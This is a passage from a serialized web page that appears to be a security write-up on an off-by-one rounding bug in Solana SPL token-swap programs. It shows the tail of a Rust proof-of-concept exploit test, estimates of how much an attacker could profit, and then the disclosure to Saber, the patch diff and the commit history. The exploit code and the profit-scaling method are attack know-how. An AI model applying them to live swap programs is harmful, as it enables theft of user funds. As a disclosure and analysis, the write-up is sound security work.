&",{"type":24,"tag":147,"props":9098,"children":9099},{"style":235},[9100],{"type":29,"value":9101},"spl_token",{"type":24,"tag":147,"props":9103,"children":9104},{"style":241},[9105],{"type":29,"value":9106},"::",{"type":24,"tag":147,"props":9108,"children":9109},{"style":229},[9110],{"type":29,"value":9111},"id",{"type":24,"tag":147,"props":9113,"children":9114},{"style":235},[9115],{"type":29,"value":9116},"(),\n",{"type":24,"tag":147,"props":9118,"children":9119},{"class":149,"line":196},[9120,9124,9129],{"type":24,"tag":147,"props":9121,"children":9122},{"style":241},[9123],{"type":29,"value":9096},{"type":24,"tag":147,"props":9125,"children":9126},{"style":247},[9127],{"type":29,"value":9128},"swap_pubkey",{"type":24,"tag":147,"props":9130,"children":9131},{"style":235},[9132],{"type":29,"value":1549},{"type":24,"tag":147,"props":9134,"children":9135},{"class":149,"line":205},[9136,9140,9145],{"type":24,"tag":147,"props":9137,"children":9138},{"style":241},[9139],{"type":29,"value":9096},{"type":24,"tag":147,"props":9141,"children":9142},{"style":247},[9143],{"type":29,"value":9144},"swap_authority_pubkey",{"type":24,"tag":147,"props":9146,"children":9147},{"style":235},[9148],{"type":29,"value":1549},{"type":24,"tag":147,"props":9150,"children":9151},{"class":149,"line":214},[9152,9156,9161,9165,9170],{"type":24,"tag":147,"props":9153,"children":9154},{"style":241},[9155],{"type":29,"value":9096},{"type":24,"tag":147,"props":9157,"children":9158},{"style":247},[9159],{"type":29,"value":9160},"test_account_signer",{"type":24,"tag":147,"props":9162,"children":9163},{"style":241},[9164],{"type":29,"value":87},{"type":24,"tag":147,"props":9166,"children":9167},{"style":229},[9168],{"type":29,"value":9169},"pubkey",{"type":24,"tag":147,"props":9171,"children":9172},{"style":235},[9173],{"type":29,"value":9116},{"type":24,"tag":147,"props":9175,"children":9176},{"class":149,"line":272},[9177,9181,9186],{"type":24,"tag":147,"props":9178,"children":9179},{"style":241},[9180],{"type":29,"value":9096},{"type":24,"tag":147,"props":9182,"children":9183},{"style":247},[9184],{"type":29,"value":9185},"sbtc_user_account",{"type":24,"tag":147,"props":9187,"children":9188},{"style":235},[9189],{"type":29,"value":1549},{"type":24,"tag":147,"props":9191,"children":9192},{"class":149,"line":281},[9193,9197,9202],{"type":24,"tag":147,"props":9194,"children":9195},{"style":241},[9196],{"type":29,"value":9096},{"type":24,"tag":147,"props":9198,"children":9199},{"style":247},[9200],{"type":29,"value":9201},"sbtc_reserve",{"type":24,"tag":147,"props":9203,"children":9204},{"style":235},[9205],{"type":29,"value":1549},{"type":24,"tag":147,"props":9207,"children":9208},{"class":149,"line":299},[9209,9213,9218],{"type":24,"tag":147,"props":9210,"children":9211},{"style":241},[9212],{"type":29,"value":9096},{"type":24,"tag":147,"props":9214,"children":9215},{"style":247},[9216],{"type":29,"value":9217},"renbtc_reserve",{"type":24,"tag":147,"props":9219,"children":9220},{"style":235},[9221],{"type":29,"value":1549},{"type":24,"tag":147,"props":9223,"children":9224},{"class":149,"line":308},[9225,9229,9234],{"type":24,"tag":147,"props":9226,"children":9227},{"style":241},[9228],{"type":29,"value":9096},{"type":24,"tag":147,"props":9230,"children":9231},{"style":247},[9232],{"type":29,"value":9233},"renbtc_user_account",{"type":24,"tag":147,"props":9235,"children":9236},{"style":235},[9237],{"type":29,"value":1549},{"type":24,"tag":147,"props":9239,"children":9240},{"class":149,"line":317},[9241,9245,9250],{"type":24,"tag":147,"props":9242,"children":9243},{"style":241},[9244],{"type":29,"value":9096},{"type":24,"tag":147,"props":9246,"children":9247},{"style":247},[9248],{"type":29,"value":9249},"admin_fee_account_sbtc_to_ren",{"type":24,"tag":147,"props":9251,"children":9252},{"style":235},[9253],{"type":29,"value":1549},{"type":24,"tag":147,"props":9255,"children":9256},{"class":149,"line":332},[9257,9262],{"type":24,"tag":147,"props":9258,"children":9259},{"style":705},[9260],{"type":29,"value":9261},"        1",{"type":24,"tag":147,"props":9263,"children":9264},{"style":235},[9265],{"type":29,"value":1549},{"type":24,"tag":147,"props":9267,"children":9268},{"class":149,"line":350},[9269],{"type":24,"tag":147,"props":9270,"children":9271},{"style":705},[9272],{"type":29,"value":9273},"        2\n",{"type":24,"tag":147,"props":9275,"children":9276},{"class":149,"line":358},[9277,9282,9286,9291],{"type":24,"tag":147,"props":9278,"children":9279},{"style":235},[9280],{"type":29,"value":9281},"    )",{"type":24,"tag":147,"props":9283,"children":9284},{"style":241},[9285],{"type":29,"value":87},{"type":24,"tag":147,"props":9287,"children":9288},{"style":229},[9289],{"type":29,"value":9290},"unwrap",{"type":24,"tag":147,"props":9292,"children":9293},{"style":235},[9294],{"type":29,"value":9295},"();\n",{"type":24,"tag":147,"props":9297,"children":9298},{"class":149,"line":397},[9299],{"type":24,"tag":147,"props":9300,"children":9301},{"emptyLinePlaceholder":16},[9302],{"type":29,"value":314},{"type":24,"tag":147,"props":9304,"children":9305},{"class":149,"line":421},[9306],{"type":24,"tag":147,"props":9307,"children":9308},{"style":154},[9309],{"type":29,"value":9310},"    // nonce\n",{"type":24,"tag":147,"props":9312,"children":9313},{"class":149,"line":435},[9314,9319,9323,9327,9331,9336,9340,9344,9349,9354,9359,9364,9368,9373],{"type":24,"tag":147,"props":9315,"children":9316},{"style":247},[9317],{"type":29,"value":9318},"    swap_instruction",{"type":24,"tag":147,"props":9320,"children":9321},{"style":241},[9322],{"type":29,"value":87},{"type":24,"tag":147,"props":9324,"children":9325},{"style":235},[9326],{"type":29,"value":1139},{"type":24,"tag":147,"props":9328,"children":9329},{"style":241},[9330],{"type":29,"value":87},{"type":24,"tag":147,"props":9332,"children":9333},{"style":229},[9334],{"type":29,"value":9335},"append",{"type":24,"tag":147,"props":9337,"children":9338},{"style":235},[9339],{"type":29,"value":480},{"type":24,"tag":147,"props":9341,"children":9342},{"style":241},[9343],{"type":29,"value":485},{"type":24,"tag":147,"props":9345,"children":9346},{"style":218},[9347],{"type":29,"value":9348},"mut",{"type":24,"tag":147,"props":9350,"children":9351},{"style":229},[9352],{"type":29,"value":9353}," vec!",{"type":24,"tag":147,"props":9355,"children":9356},{"style":235},[9357],{"type":29,"value":9358},"[",{"type":24,"tag":147,"props":9360,"children":9361},{"style":247},[9362],{"type":29,"value":9363},"i",{"type":24,"tag":147,"props":9365,"children":9366},{"style":235},[9367],{"type":29,"value":546},{"type":24,"tag":147,"props":9369,"children":9370},{"style":247},[9371],{"type":29,"value":9372},"extranonce",{"type":24,"tag":147,"props":9374,"children":9375},{"style":235},[9376],{"type":29,"value":9377},"]);\n",{"type":24,"tag":147,"props":9379,"children":9380},{"class":149,"line":444},[9381],{"type":24,"tag":147,"props":9382,"children":9383},{"emptyLinePlaceholder":16},[9384],{"type":29,"value":314},{"type":24,"tag":147,"props":9386,"children":9387},{"class":149,"line":452},[9388,9392,9396,9401,9405,9409],{"type":24,"tag":147,"props":9389,"children":9390},{"style":218},[9391],{"type":29,"value":8634},{"type":24,"tag":147,"props":9393,"children":9394},{"style":218},[9395],{"type":29,"value":8639},{"type":24,"tag":147,"props":9397,"children":9398},{"style":247},[9399],{"type":29,"value":9400}," instructions",{"type":24,"tag":147,"props":9402,"children":9403},{"style":241},[9404],{"type":29,"value":651},{"type":24,"tag":147,"props":9406,"children":9407},{"style":229},[9408],{"type":29,"value":9353},{"type":24,"tag":147,"props":9410,"children":9411},{"style":235},[9412],{"type":29,"value":9413},"[];\n",{"type":24,"tag":147,"props":9415,"children":9416},{"class":149,"line":461},[9417],{"type":24,"tag":147,"props":9418,"children":9419},{"emptyLinePlaceholder":16},[9420],{"type":29,"value":314},{"type":24,"tag":147,"props":9422,"children":9423},{"class":149,"line":469},[9424,9429,9433,9438,9442,9447],{"type":24,"tag":147,"props":9425,"children":9426},{"style":247},[9427],{"type":29,"value":9428},"    instructions",{"type":24,"tag":147,"props":9430,"children":9431},{"style":241},[9432],{"type":29,"value":87},{"type":24,"tag":147,"props":9434,"children":9435},{"style":229},[9436],{"type":29,"value":9437},"push",{"type":24,"tag":147,"props":9439,"children":9440},{"style":235},[9441],{"type":29,"value":480},{"type":24,"tag":147,"props":9443,"children":9444},{"style":247},[9445],{"type":29,"value":9446},"swap_instruction",{"type":24,"tag":147,"props":9448,"children":9449},{"style":235},[9450],{"type":29,"value":1473},{"type":24,"tag":147,"props":9452,"children":9453},{"class":149,"line":508},[9454],{"type":24,"tag":147,"props":9455,"children":9456},{"emptyLinePlaceholder":16},[9457],{"type":29,"value":314},{"type":24,"tag":147,"props":9459,"children":9460},{"class":149,"line":572},[9461,9466,9470,9475,9479,9483,9488,9492,9496,9501,9505,9509,9513],{"type":24,"tag":147,"props":9462,"children":9463},{"style":247},[9464],{"type":29,"value":9465},"    env",{"type":24,"tag":147,"props":9467,"children":9468},{"style":241},[9469],{"type":29,"value":87},{"type":24,"tag":147,"props":9471,"children":9472},{"style":229},[9473],{"type":29,"value":9474},"execute_as_transaction",{"type":24,"tag":147,"props":9476,"children":9477},{"style":235},[9478],{"type":29,"value":480},{"type":24,"tag":147,"props":9480,"children":9481},{"style":241},[9482],{"type":29,"value":485},{"type":24,"tag":147,"props":9484,"children":9485},{"style":247},[9486],{"type":29,"value":9487},"instructions",{"type":24,"tag":147,"props":9489,"children":9490},{"style":235},[9491],{"type":29,"value":546},{"type":24,"tag":147,"props":9493,"children":9494},{"style":241},[9495],{"type":29,"value":485},{"type":24,"tag":147,"props":9497,"children":9498},{"style":229},[9499],{"type":29,"value":9500},"vec!",{"type":24,"tag":147,"props":9502,"children":9503},{"style":235},[9504],{"type":29,"value":9358},{"type":24,"tag":147,"props":9506,"children":9507},{"style":241},[9508],{"type":29,"value":485},{"type":24,"tag":147,"props":9510,"children":9511},{"style":247},[9512],{"type":29,"value":9160},{"type":24,"tag":147,"props":9514,"children":9515},{"style":235},[9516],{"type":29,"value":9377},{"type":24,"tag":147,"props":9518,"children":9519},{"class":149,"line":591},[9520],{"type":24,"tag":147,"props":9521,"children":9522},{"style":235},[9523],{"type":29,"value":827},{"type":24,"tag":25,"props":9525,"children":9526},{},[9527],{"type":29,"value":9528},"It works!",{"type":24,"tag":98,"props":9530,"children":9531},{},[9532],{"type":24,"tag":25,"props":9533,"children":9534},{},[9535],{"type":29,"value":9536},"holy shit\nyea, this is big",{"type":24,"tag":25,"props":9538,"children":9539},{},[9540],{"type":24,"tag":63,"props":9541,"children":9543},{"alt":7,"src":9542},"/posts/spl-swap/poc.png",[],{"type":24,"tag":32,"props":9545,"children":9547},{"id":9546},"exploitability",[9548],{"type":29,"value":9549},"Exploitability",{"type":24,"tag":25,"props":9551,"children":9552},{},[9553],{"type":29,"value":9554},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":24,"tag":25,"props":9556,"children":9557},{},[9558],{"type":29,"value":9559},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":24,"tag":25,"props":9561,"children":9562},{},[9563],{"type":29,"value":9564},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":24,"tag":25,"props":9566,"children":9567},{},[9568],{"type":24,"tag":63,"props":9569,"children":9571},{"alt":7,"src":9570},"/posts/spl-swap/pr.png",[],{"type":24,"tag":25,"props":9573,"children":9574},{},[9575,9577,9582],{"type":29,"value":9576},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":24,"tag":8545,"props":9578,"children":9579},{},[9580],{"type":29,"value":9581},"per instruction",{"type":29,"value":9583},". Transactions on Solana can also contain multiple instructions.",{"type":24,"tag":25,"props":9585,"children":9586},{},[9587],{"type":29,"value":9588},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":24,"tag":25,"props":9590,"children":9591},{},[9592,9594,9599],{"type":29,"value":9593},"Some quick napkin math confirms that this ",{"type":24,"tag":8545,"props":9595,"children":9596},{},[9597],{"type":29,"value":9598},"is",{"type":29,"value":9600}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":24,"tag":25,"props":9602,"children":9603},{},[9604],{"type":24,"tag":80,"props":9605,"children":9609},{"className":9606},[9607,9608],"language-math","math-inline",[9610],{"type":24,"tag":147,"props":9611,"children":9614},{"className":9612},[9613],"katex",[9615],{"type":24,"tag":147,"props":9616,"children":9620},{"className":9617,"ariaHidden":9619},[9618],"katex-html","true",[9621,9728,9784,9824],{"type":24,"tag":147,"props":9622,"children":9625},{"className":9623},[9624],"base",[9626,9632,9638,9701,9711,9717,9724],{"type":24,"tag":147,"props":9627,"children":9631},{"className":9628,"style":9630},[9629],"strut","height:0.8141em;",[],{"type":24,"tag":147,"props":9633,"children":9636},{"className":9634},[9635],"mord",[9637],{"type":29,"value":1154},{"type":24,"tag":147,"props":9639,"children":9641},{"className":9640},[9635],[9642,9647],{"type":24,"tag":147,"props":9643,"children":9645},{"className":9644},[9635],[9646],{"type":29,"value":3173},{"type":24,"tag":147,"props":9648,"children":9651},{"className":9649},[9650],"msupsub",[9652],{"type":24,"tag":147,"props":9653,"children":9656},{"className":9654},[9655],"vlist-t",[9657],{"type":24,"tag":147,"props":9658,"children":9661},{"className":9659},[9660],"vlist-r",[9662],{"type":24,"tag":147,"props":9663,"children":9666},{"className":9664,"style":9630},[9665],"vlist",[9667],{"type":24,"tag":147,"props":9668,"children":9670},{"style":9669},"top:-3.063em;margin-right:0.05em;",[9671,9677],{"type":24,"tag":147,"props":9672,"children":9676},{"className":9673,"style":9675},[9674],"pstrut","height:2.7em;",[],{"type":24,"tag":147,"props":9678,"children":9684},{"className":9679},[9680,9681,9682,9683],"sizing","reset-size6","size3","mtight",[9685],{"type":24,"tag":147,"props":9686,"children":9688},{"className":9687},[9635,9683],[9689,9695],{"type":24,"tag":147,"props":9690,"children":9692},{"className":9691},[9635,9683],[9693],{"type":29,"value":9694},"−",{"type":24,"tag":147,"props":9696,"children":9698},{"className":9697},[9635,9683],[9699],{"type":29,"value":9700},"8",{"type":24,"tag":147,"props":9702,"children":9704},{"className":9703},[9635,29],[9705],{"type":24,"tag":147,"props":9706,"children":9708},{"className":9707},[9635],[9709],{"type":29,"value":9710}," BTC",{"type":24,"tag":147,"props":9712,"children":9716},{"className":9713,"style":9715},[9714],"mspace","margin-right:0.2222em;",[],{"type":24,"tag":147,"props":9718,"children":9721},{"className":9719},[9720],"mbin",[9722],{"type":29,"value":9723},"∗",{"type":24,"tag":147,"props":9725,"children":9727},{"className":9726,"style":9715},[9714],[],{"type":24,"tag":147,"props":9729,"children":9731},{"className":9730},[9624],[9732,9737,9743,9750,9755,9761,9771,9775,9780],{"type":24,"tag":147,"props":9733,"children":9736},{"className":9734,"style":9735},[9629],"height:1em;vertical-align:-0.25em;",[],{"type":24,"tag":147,"props":9738,"children":9740},{"className":9739},[9635],[9741],{"type":29,"value":9742},"$41",{"type":24,"tag":147,"props":9744,"children":9747},{"className":9745},[9746],"mpunct",[9748],{"type":29,"value":9749},",",{"type":24,"tag":147,"props":9751,"children":9754},{"className":9752,"style":9753},[9714],"margin-right:0.1667em;",[],{"type":24,"tag":147,"props":9756,"children":9758},{"className":9757},[9635],[9759],{"type":29,"value":9760},"400/",{"type":24,"tag":147,"props":9762,"children":9764},{"className":9763},[9635,29],[9765],{"type":24,"tag":147,"props":9766,"children":9768},{"className":9767},[9635],[9769],{"type":29,"value":9770},"BTC",{"type":24,"tag":147,"props":9772,"children":9774},{"className":9773,"style":9715},[9714],[],{"type":24,"tag":147,"props":9776,"children":9778},{"className":9777},[9720],[9779],{"type":29,"value":9723},{"type":24,"tag":147,"props":9781,"children":9783},{"className":9782,"style":9715},[9714],[],{"type":24,"tag":147,"props":9785,"children":9787},{"className":9786},[9624],[9788,9793,9799,9809,9814,9820],{"type":24,"tag":147,"props":9789,"children":9792},{"className":9790,"style":9791},[9629],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":24,"tag":147,"props":9794,"children":9796},{"className":9795},[9635],[9797],{"type":29,"value":9798},"150",{"type":24,"tag":147,"props":9800,"children":9802},{"className":9801},[9635,29],[9803],{"type":24,"tag":147,"props":9804,"children":9806},{"className":9805},[9635],[9807],{"type":29,"value":9808}," swaps",{"type":24,"tag":147,"props":9810,"children":9813},{"className":9811,"style":9812},[9714],"margin-right:0.2778em;",[],{"type":24,"tag":147,"props":9815,"children":9818},{"className":9816},[9817],"mrel",[9819],{"type":29,"value":369},{"type":24,"tag":147,"props":9821,"children":9823},{"className":9822,"style":9812},[9714],[],{"type":24,"tag":147,"props":9825,"children":9827},{"className":9826},[9624],[9828,9833],{"type":24,"tag":147,"props":9829,"children":9832},{"className":9830,"style":9831},[9629],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":24,"tag":147,"props":9834,"children":9836},{"className":9835},[9635],[9837],{"type":29,"value":9838},"$0.0621",{"type":24,"tag":25,"props":9840,"children":9841},{},[9842],{"type":29,"value":9843},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":24,"tag":25,"props":9845,"children":9846},{},[9847],{"type":29,"value":9848},"We're well on our way to becoming a millionaire!",{"type":24,"tag":32,"props":9850,"children":9852},{"id":9851},"patch",[9853],{"type":29,"value":9854},"Patch",{"type":24,"tag":25,"props":9856,"children":9857},{},[9858],{"type":29,"value":9859},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":24,"tag":25,"props":9861,"children":9862},{},[9863],{"type":29,"value":9864},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":24,"tag":137,"props":9866,"children":9870},{"code":9867,"language":9868,"meta":7,"className":9869,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[9871],{"type":24,"tag":80,"props":9872,"children":9873},{"__ignoreMap":7},[9874],{"type":24,"tag":147,"props":9875,"children":9876},{"class":149,"line":150},[9877,9881,9886,9891,9896,9901,9906],{"type":24,"tag":147,"props":9878,"children":9879},{"style":229},[9880],{"type":29,"value":8513},{"type":24,"tag":147,"props":9882,"children":9883},{"style":3534},[9884],{"type":29,"value":9885}," logs",{"type":24,"tag":147,"props":9887,"children":9888},{"style":3534},[9889],{"type":29,"value":9890}," -um",{"type":24,"tag":147,"props":9892,"children":9893},{"style":241},[9894],{"type":29,"value":9895}," |",{"type":24,"tag":147,"props":9897,"children":9898},{"style":229},[9899],{"type":29,"value":9900}," grep",{"type":24,"tag":147,"props":9902,"children":9903},{"style":3534},[9904],{"type":29,"value":9905}," 'Instruction: Swap'",{"type":24,"tag":147,"props":9907,"children":9908},{"style":3534},[9909],{"type":29,"value":9910}," -B1\n",{"type":24,"tag":25,"props":9912,"children":9913},{},[9914],{"type":29,"value":9915},"With some Google dorking, we were able to identify many of these programs.",{"type":24,"tag":137,"props":9917,"children":9919},{"code":9918},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[9920],{"type":24,"tag":80,"props":9921,"children":9922},{"__ignoreMap":7},[9923],{"type":29,"value":9918},{"type":24,"tag":25,"props":9925,"children":9926},{},[9927],{"type":29,"value":9928},"Now it was time to contact these teams.",{"type":24,"tag":25,"props":9930,"children":9931},{},[9932],{"type":29,"value":9933},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":24,"tag":25,"props":9935,"children":9936},{},[9937],{"type":29,"value":9938},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":24,"tag":137,"props":9940,"children":9942},{"code":9941,"language":8613,"meta":7,"className":8614,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[9943],{"type":24,"tag":80,"props":9944,"children":9945},{"__ignoreMap":7},[9946,9999,10011],{"type":24,"tag":147,"props":9947,"children":9948},{"class":149,"line":150},[9949,9953,9957,9962,9966,9971,9975,9979,9983,9987,9991,9995],{"type":24,"tag":147,"props":9950,"children":9951},{"style":241},[9952],{"type":29,"value":3470},{"type":24,"tag":147,"props":9954,"children":9955},{"style":218},[9956],{"type":29,"value":8696},{"type":24,"tag":147,"props":9958,"children":9959},{"style":247},[9960],{"type":29,"value":9961}," dy",{"type":24,"tag":147,"props":9963,"children":9964},{"style":241},[9965],{"type":29,"value":651},{"type":24,"tag":147,"props":9967,"children":9968},{"style":247},[9969],{"type":29,"value":9970}," swap_destination_amount",{"type":24,"tag":147,"props":9972,"children":9973},{"style":241},[9974],{"type":29,"value":87},{"type":24,"tag":147,"props":9976,"children":9977},{"style":229},[9978],{"type":29,"value":8865},{"type":24,"tag":147,"props":9980,"children":9981},{"style":235},[9982],{"type":29,"value":480},{"type":24,"tag":147,"props":9984,"children":9985},{"style":247},[9986],{"type":29,"value":8744},{"type":24,"tag":147,"props":9988,"children":9989},{"style":235},[9990],{"type":29,"value":8758},{"type":24,"tag":147,"props":9992,"children":9993},{"style":241},[9994],{"type":29,"value":8785},{"type":24,"tag":147,"props":9996,"children":9997},{"style":235},[9998],{"type":29,"value":432},{"type":24,"tag":147,"props":10000,"children":10001},{"class":149,"line":160},[10002,10006],{"type":24,"tag":147,"props":10003,"children":10004},{"style":241},[10005],{"type":29,"value":624},{"type":24,"tag":147,"props":10007,"children":10008},{"style":154},[10009],{"type":29,"value":10010},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":24,"tag":147,"props":10012,"children":10013},{"class":149,"line":169},[10014,10018,10022,10026,10030,10034,10038,10042,10046,10050,10054,10058,10062,10066,10070,10074,10078],{"type":24,"tag":147,"props":10015,"children":10016},{"style":241},[10017],{"type":29,"value":624},{"type":24,"tag":147,"props":10019,"children":10020},{"style":218},[10021],{"type":29,"value":8696},{"type":24,"tag":147,"props":10023,"children":10024},{"style":247},[10025],{"type":29,"value":9961},{"type":24,"tag":147,"props":10027,"children":10028},{"style":241},[10029],{"type":29,"value":651},{"type":24,"tag":147,"props":10031,"children":10032},{"style":247},[10033],{"type":29,"value":9970},{"type":24,"tag":147,"props":10035,"children":10036},{"style":241},[10037],{"type":29,"value":87},{"type":24,"tag":147,"props":10039,"children":10040},{"style":229},[10041],{"type":29,"value":8865},{"type":24,"tag":147,"props":10043,"children":10044},{"style":235},[10045],{"type":29,"value":480},{"type":24,"tag":147,"props":10047,"children":10048},{"style":247},[10049],{"type":29,"value":8744},{"type":24,"tag":147,"props":10051,"children":10052},{"style":235},[10053],{"type":29,"value":8758},{"type":24,"tag":147,"props":10055,"children":10056},{"style":241},[10057],{"type":29,"value":8763},{"type":24,"tag":147,"props":10059,"children":10060},{"style":229},[10061],{"type":29,"value":8865},{"type":24,"tag":147,"props":10063,"children":10064},{"style":235},[10065],{"type":29,"value":480},{"type":24,"tag":147,"props":10067,"children":10068},{"style":705},[10069],{"type":29,"value":1154},{"type":24,"tag":147,"props":10071,"children":10072},{"style":235},[10073],{"type":29,"value":8758},{"type":24,"tag":147,"props":10075,"children":10076},{"style":241},[10077],{"type":29,"value":8785},{"type":24,"tag":147,"props":10079,"children":10080},{"style":235},[10081],{"type":29,"value":432},{"type":24,"tag":25,"props":10083,"children":10084},{},[10085,10087,10094],{"type":29,"value":10086},"For reference, here is the ",{"type":24,"tag":2773,"props":10088,"children":10091},{"href":10089,"rel":10090},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[2777],[10092],{"type":29,"value":10093},"Curve.fi implementation",{"type":29,"value":87},{"type":24,"tag":137,"props":10096,"children":10100},{"code":10097,"language":10098,"meta":7,"className":10099,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[10101],{"type":24,"tag":80,"props":10102,"children":10103},{"__ignoreMap":7},[10104,10166],{"type":24,"tag":147,"props":10105,"children":10106},{"class":149,"line":150},[10107,10112,10116,10121,10125,10130,10134,10139,10143,10148,10153,10157,10161],{"type":24,"tag":147,"props":10108,"children":10109},{"style":235},[10110],{"type":29,"value":10111},"    dy",{"type":24,"tag":147,"props":10113,"children":10114},{"style":241},[10115],{"type":29,"value":978},{"type":24,"tag":147,"props":10117,"children":10118},{"style":9044},[10119],{"type":29,"value":10120}," uint256",{"type":24,"tag":147,"props":10122,"children":10123},{"style":241},[10124],{"type":29,"value":651},{"type":24,"tag":147,"props":10126,"children":10127},{"style":235},[10128],{"type":29,"value":10129}," xp[j] ",{"type":24,"tag":147,"props":10131,"children":10132},{"style":241},[10133],{"type":29,"value":3470},{"type":24,"tag":147,"props":10135,"children":10136},{"style":235},[10137],{"type":29,"value":10138}," y ",{"type":24,"tag":147,"props":10140,"children":10141},{"style":241},[10142],{"type":29,"value":3470},{"type":24,"tag":147,"props":10144,"children":10145},{"style":705},[10146],{"type":29,"value":10147}," 1",{"type":24,"tag":147,"props":10149,"children":10150},{"style":235},[10151],{"type":29,"value":10152},"  # ",{"type":24,"tag":147,"props":10154,"children":10155},{"style":241},[10156],{"type":29,"value":3470},{"type":24,"tag":147,"props":10158,"children":10159},{"style":705},[10160],{"type":29,"value":1154},{"type":24,"tag":147,"props":10162,"children":10163},{"style":235},[10164],{"type":29,"value":10165}," just in case there were some rounding errors\n",{"type":24,"tag":147,"props":10167,"children":10168},{"class":149,"line":160},[10169,10174,10178,10182,10186,10191,10195,10200,10205],{"type":24,"tag":147,"props":10170,"children":10171},{"style":235},[10172],{"type":29,"value":10173},"    dy_fee",{"type":24,"tag":147,"props":10175,"children":10176},{"style":241},[10177],{"type":29,"value":978},{"type":24,"tag":147,"props":10179,"children":10180},{"style":9044},[10181],{"type":29,"value":10120},{"type":24,"tag":147,"props":10183,"children":10184},{"style":241},[10185],{"type":29,"value":651},{"type":24,"tag":147,"props":10187,"children":10188},{"style":235},[10189],{"type":29,"value":10190}," dy ",{"type":24,"tag":147,"props":10192,"children":10193},{"style":241},[10194],{"type":29,"value":244},{"type":24,"tag":147,"props":10196,"children":10197},{"style":235},[10198],{"type":29,"value":10199}," self.fee ",{"type":24,"tag":147,"props":10201,"children":10202},{"style":241},[10203],{"type":29,"value":10204},"/",{"type":24,"tag":147,"props":10206,"children":10207},{"style":235},[10208],{"type":29,"value":10209}," FEE_DENOMINATOR\n",{"type":24,"tag":25,"props":10211,"children":10212},{},[10213,10215,10222],{"type":29,"value":10214},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":24,"tag":2773,"props":10216,"children":10219},{"href":10217,"rel":10218},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[2777],[10220],{"type":29,"value":10221},"original commit",{"type":29,"value":10223},", not as an additional security patch.",{"type":24,"tag":137,"props":10225,"children":10227},{"code":10226},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[10228],{"type":24,"tag":80,"props":10229,"children":10230},{"__ignoreMap":7},[10231],{"type":29,"value":10226},{"type":24,"tag":25,"props":10233,"children":10234},{},[10235,10237,10244],{"type":29,"value":10236},"The commit adding stable swaps to SPL was ",{"type":24,"tag":2773,"props":10238,"children":10241},{"href":10239,"rel":10240},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[2777],[10242],{"type":29,"value":10243},"made a few months later",{"type":29,"value":10245},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":24,"tag":137,"props":10247,"children":10249},{"code":10248},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[10250],{"type":24,"tag":80,"props":10251,"children":10252},{"__ignoreMap":7},[10253],{"type":29,"value":10248},{"type":24,"tag":25,"props":10255,"children":10256},{},[10257,10259,10266],{"type":29,"value":10258},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to 